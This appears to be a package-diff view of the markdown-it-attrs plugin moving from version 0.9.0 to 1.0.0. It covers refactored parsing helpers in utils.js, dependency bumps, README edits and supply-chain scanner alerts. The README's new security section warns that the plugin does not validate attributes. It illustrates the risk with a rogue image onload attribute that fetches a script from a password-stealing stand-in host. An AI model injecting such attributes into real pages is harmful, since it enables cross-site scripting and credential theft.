case 'only': | ||
// '{.a}' | ||
return str.charAt(0) === '{' && | ||
// make sure first occurence is last occurence | ||
str.indexOf('}', 3) === (str.length - 1); | ||
} | ||
}; | ||
}; | ||
/** | ||
* Removes last curly from string. | ||
*/ | ||
exports.removeCurly = function (str) { | ||
var curly = /[ \n]?{[^{}}]+}$/; | ||
var pos = str.search(curly); | ||
return pos !== -1 ? str.slice(0, pos) : str; | ||
}; | ||
/** | ||
* find corresponding opening block | ||
*/ | ||
exports.getMatchingOpeningToken = function (tokens, i) { | ||
if (tokens[i].type === 'softbreak') { | ||
return false; | ||
} | ||
// non closing blocks, example img | ||
if (tokens[i].nesting === 0) { | ||
return tokens[i]; | ||
} | ||
// inline tokens changes level on same token | ||
// that have .nesting +- 1 | ||
let level = tokens[i].block | ||
? tokens[i].level | ||
: tokens[i].level + 1; // adjust for inline tokens | ||
let type = tokens[i].type.replace('_close', '_open'); | ||
for (; i >= 0; --i) { | ||
if (tokens[i].type === type && tokens[i].level === level) { | ||
return tokens[i]; | ||
} | ||
} | ||
}; | ||
/** | ||
* from https://github.com/markdown-it/markdown-it/blob/master/lib/common/utils.js | ||
@@ -361,3 +659,3 @@ */ | ||
exports.escapeHtml = function(str) { | ||
exports.escapeHtml = function (str) { | ||
if (HTML_ESCAPE_TEST_RE.test(str)) { | ||
@@ -364,0 +662,0 @@ return str.replace(HTML_ESCAPE_REPLACE_RE, replaceUnsafeChar); |
{ | ||
"name": "markdown-it-attrs", | ||
"version": "0.9.0", | ||
"version": "1.0.0", | ||
"description": "Add classes, identifiers and attributes to your markdown with {} curly brackets, similar to pandoc's header attributes", | ||
@@ -44,3 +44,3 @@ "main": "index.js", | ||
"browserify": "^13.1.0", | ||
"eslint": "^3.7.1", | ||
"eslint": "^4.3.0", | ||
"markdown-it": ">=7.0.1", | ||
@@ -47,0 +47,0 @@ "mocha": "*" |
@@ -41,5 +41,12 @@ # markdown-it-attrs [![Build Status](https://travis-ci.org/arve0/markdown-it-attrs.svg?branch=master)](https://travis-ci.org/arve0/markdown-it-attrs) [![npm version](https://badge.fury.io/js/markdown-it-attrs.svg)](http://badge.fury.io/js/markdown-it-attrs) | ||
**Note:** Plugin does not validate any input, so you should validate the attributes in your html output if security is a concern. | ||
## Security | ||
**NOTE!** | ||
`markdown-it-attrs` does not validate attribute input. You should validate your output HTML if security is a concern (use a whitelist). | ||
For example, a user may insert rogue attributes like this: | ||
```js | ||
![](img.png){onload=fetch(https://imstealingyourpasswords.com/script.js).then(...)} | ||
``` | ||
## Install | ||
@@ -94,3 +101,3 @@ | ||
If you need the class to apply to the ul element, use a new line: | ||
If you need the class to apply to the `<ul>` element, use a new line: | ||
```md | ||
@@ -108,40 +115,27 @@ - list item **bold** | ||
Unfortunately, as of now, attributes on new line will apply to opening `ul` or `ol` for previous list item: | ||
If you have nested lists, curlys after new lines will apply to the nearest `<ul>` or `<ol>` list. You may force it to apply to the outer `<ul>` by adding curly below on a paragraph by it own: | ||
```md | ||
- applies to | ||
- ul of last | ||
{.list} | ||
{.item} | ||
- item | ||
- nested item {.a} | ||
{.b} | ||
- here | ||
- we get | ||
{.blue} | ||
- what's expected | ||
{.red} | ||
{.c} | ||
``` | ||
Which is not what you might expect. [Suggestions are welcome](https://github.com/arve0/markdown-it-attrs/issues/32). Output: | ||
Output: | ||
```html | ||
<ul> | ||
<li>applies | ||
<ul class="item list"> | ||
<li>ul of last</li> | ||
<ul class="c"> | ||
<li>item | ||
<ul class="b"> | ||
<li class="a">nested item</li> | ||
</ul> | ||
</li> | ||
</ul> | ||
<ul class="red"> | ||
<li>here | ||
<ul class="blue"> | ||
<li>we get</li> | ||
</ul> | ||
</li> | ||
<li>what's expected</li> | ||
</ul> | ||
``` | ||
If you need finer control, look into [decorate](https://github.com/rstacruz/markdown-it-decorate). | ||
This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32. | ||
If you need finer control, [decorate](https://github.com/rstacruz/markdown-it-decorate) might help you. | ||
## Custom blocks | ||
@@ -148,0 +142,0 @@ `markdown-it-attrs` will add attributes to any `token.block == true` with {}-curlies in end of `token.info`. For example, see [markdown-it/rules_block/fence.js](https://github.com/markdown-it/markdown-it/blob/760050edcb7607f70a855c97a087ad287b653d61/lib/rules_block/fence.js#L85) which [stores text after the three backticks in fenced code blocks to `token.info`](https://markdown-it.github.io/#md3=%7B%22source%22%3A%22%60%60%60js%20%7B.red%7D%5Cnfunction%20%28%29%20%7B%7D%5Cn%60%60%60%22%2C%22defaults%22%3A%7B%22html%22%3Afalse%2C%22xhtmlOut%22%3Afalse%2C%22breaks%22%3Afalse%2C%22langPrefix%22%3A%22language-%22%2C%22linkify%22%3Atrue%2C%22typographer%22%3Atrue%2C%22_highlight%22%3Atrue%2C%22_strict%22%3Afalse%2C%22_view%22%3A%22debug%22%7D%7D). |
136
utils.js
@@ -5,23 +5,30 @@ 'use strict'; | ||
* @param {string} str: string to parse | ||
* @param {int} start: where to start parsing (not including {) | ||
* @param {int} end: where to stop parsing (not including }) | ||
* @param {int} start: where to start parsing (including {) | ||
* @returns {2d array}: [['key', 'val'], ['class', 'red']] | ||
*/ | ||
exports.getAttrs = function(str, start, end) { | ||
exports.getAttrs = function (str, start, end) { | ||
// TODO: do not require `end`, stop when } is found | ||
// not tab, line feed, form feed, space, solidus, greater than sign, quotation mark, apostrophe and equals sign | ||
var allowedKeyChars = /[^\t\n\f \/>"'=]/; | ||
var pairSeparator = ' '; | ||
var keySeparator = '='; | ||
var classChar = '.'; | ||
var idChar = '#'; | ||
const allowedKeyChars = /[^\t\n\f />"'=]/; | ||
const pairSeparator = ' '; | ||
const keySeparator = '='; | ||
const classChar = '.'; | ||
const idChar = '#'; | ||
const endChar = '}'; | ||
var attrs = []; | ||
var key = ''; | ||
var value = ''; | ||
var parsingKey = true; | ||
var valueInsideQuotes = false; | ||
const attrs = []; | ||
let key = ''; | ||
let value = ''; | ||
let parsingKey = true; | ||
let valueInsideQuotes = false; | ||
// read inside {} | ||
for (var i=start; i <= end; ++i) { | ||
var char_ = str.charAt(i); | ||
// start + 1 to avoid beginning { | ||
// breaks when } is found or end of string | ||
for (let i = start + 1; i < str.length; i++) { | ||
let char_ = str.charAt(i); | ||
if (char_ === endChar) { | ||
if (key !== '') { attrs.push([key, value]); } | ||
break; | ||
} | ||
@@ -92,4 +99,4 @@ // switch to reading value if equal sign | ||
*/ | ||
exports.addAttrs = function(attrs, token) { | ||
for (var j=0, l=attrs.length; j<l; ++j) { | ||
exports.addAttrs = function (attrs, token) { | ||
for (var j = 0, l = attrs.length; j < l; ++j) { | ||
var key = attrs[j][0]; | ||
@@ -106,2 +113,95 @@ if (key === 'class') { | ||
/** | ||
* Does string have properly formatted curly? | ||
* | ||
* start: '{.a} asdf' | ||
* middle: 'a{.b}c' | ||
* end: 'asdf {.a}' | ||
* only: '{.a}' | ||
* | ||
* @param {string} where to expect {} curly. start, middle, end or only. | ||
* @return {function(string)} Function which testes if string has curly. | ||
*/ | ||
exports.hasCurly = function (where) { | ||
if (!where) { | ||
throw new Error('Parameter `where` not passed. Should be "start", "middle", "end" or "only".'); | ||
} | ||
/** | ||
* @param {string} str | ||
* @return {boolean} | ||
*/ | ||
return function (str) { | ||
// we need minimum four chars, example {.b} | ||
if (!str || typeof str !== 'string' || str.length < 4) { | ||
return false; | ||
} | ||
let start, end; | ||
switch (where) { | ||
case 'start': | ||
// first char should be {, } found in char 3 or more | ||
return str.charAt(0) === '{' && | ||
str.indexOf('}', 3) !== -1; | ||
case 'middle': | ||
// 'a{.b}' | ||
start = str.indexOf('{', 1); | ||
end = start !== -1 && str.indexOf('}', start + 3); | ||
return start !== -1 && end !== -1; | ||
case 'end': | ||
// last char should be } | ||
end = str.charAt(str.length - 1) === '}'; | ||
start = end && str.indexOf('{'); | ||
return end && (start + 3) < str.length; | ||
case 'only': | ||
// '{.a}' | ||
return str.charAt(0) === '{' && | ||
// make sure first occurence is last occurence | ||
str.indexOf('}', 3) === (str.length - 1); | ||
} | ||
}; | ||
}; | ||
/** | ||
* Removes last curly from string. | ||
*/ | ||
exports.removeCurly = function (str) { | ||
var curly = /[ \n]?{[^{}}]+}$/; | ||
var pos = str.search(curly); | ||
return pos !== -1 ? str.slice(0, pos) : str; | ||
}; | ||
/** | ||
* find corresponding opening block | ||
*/ | ||
exports.getMatchingOpeningToken = function (tokens, i) { | ||
if (tokens[i].type === 'softbreak') { | ||
return false; | ||
} | ||
// non closing blocks, example img | ||
if (tokens[i].nesting === 0) { | ||
return tokens[i]; | ||
} | ||
// inline tokens changes level on same token | ||
// that have .nesting +- 1 | ||
let level = tokens[i].block | ||
? tokens[i].level | ||
: tokens[i].level + 1; // adjust for inline tokens | ||
let type = tokens[i].type.replace('_close', '_open'); | ||
for (; i >= 0; --i) { | ||
if (tokens[i].type === type && tokens[i].level === level) { | ||
return tokens[i]; | ||
} | ||
} | ||
}; | ||
/** | ||
* from https://github.com/markdown-it/markdown-it/blob/master/lib/common/utils.js | ||
@@ -122,3 +222,3 @@ */ | ||
exports.escapeHtml = function(str) { | ||
exports.escapeHtml = function (str) { | ||
if (HTML_ESCAPE_TEST_RE.test(str)) { | ||
@@ -125,0 +225,0 @@ return str.replace(HTML_ESCAPE_REPLACE_RE, replaceUnsafeChar); |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Major refactor
Supply chain riskPackage has recently undergone a major refactor. It may be unstable or indicate significant internal changes. Use caution when updating to versions that include significant changes.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
No v1
QualityPackage is not semver >=1. This means it is not stable and does not support ^ ranges.
Found 1 instance in 1 package
42859
17
1306
0
146
1